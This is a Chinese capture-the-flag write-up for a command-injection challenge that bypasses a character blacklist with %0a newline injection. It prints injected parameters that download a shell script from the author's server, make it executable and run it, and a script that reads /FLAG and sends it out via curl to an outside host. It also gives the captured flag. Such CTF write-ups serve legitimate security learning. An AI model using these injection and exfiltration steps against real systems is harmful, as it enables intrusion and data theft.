
存在以下黑名单过滤
["$", "{", "}", "`", ";", "&", "|", "(", ")", "\"","'", "~", "!", "@", "#", "%", "^", "*", "[", "]", "\\", ":", "-", "_"];
但是发现%0a可以执行命令

准备工作
- 一台具备公网IP的服务器
我这里采用的是自己的服务器,没有服务器的可以注册个小号,在BUU平台开启如下环境

首先在公网服务器上面写入shell文件 内容如下
a=`cat /FLAG`
curl -v -H "User-Agent:$a" 公网IP地址

题目前台首页有字符长度限制,可以双击,然后修改或删除屏蔽代码

也可以直接burpsuite抓包进行修改
步骤如下
-
请求自己公网服务器 shell所在位置,并将其保存在指定目录
ip=127.0.0.1%0acurl 公网IP地址/1.sh > /tmp/6666.sh

-
给予shell脚本权限
ip=127.0.0.1%0achmod 777 /tmp/6666.sh

-
执行脚本
ip=127.0.0.1%0ash /tmp/6666.sh

- 查看自己公网服务器日志

获得flag
n1book{6fa82809179d7f19c67259aa285a7729}
之所以通过curl请求的方式来获取flag。而不是其他wp那样nc来反弹flag的原因也很简单.反弹不出来。无奈通过这种方法
本来是直接将flag请求在url后面。但是前面cat /FLAG 一直写成小写,
但是自己并未发现,改成User-Agent 之后才发现。索性就这样写了。
a=`cat /FLAG`
curl 公网IP/$a
以下内容为本地测试。
执行脚本后,成功请求

"本文讲述了作者如何通过在URL中巧妙使用`%0a`绕过黑名单,利用curl从公网服务器下载并执行shell脚本来获取flag的过程,以及为何选择curl而非其他方式。最终,成功获取了flag n1book{6fa82809179d7f19c67259aa285a7729}

3866

被折叠的 条评论
为什么被折叠?



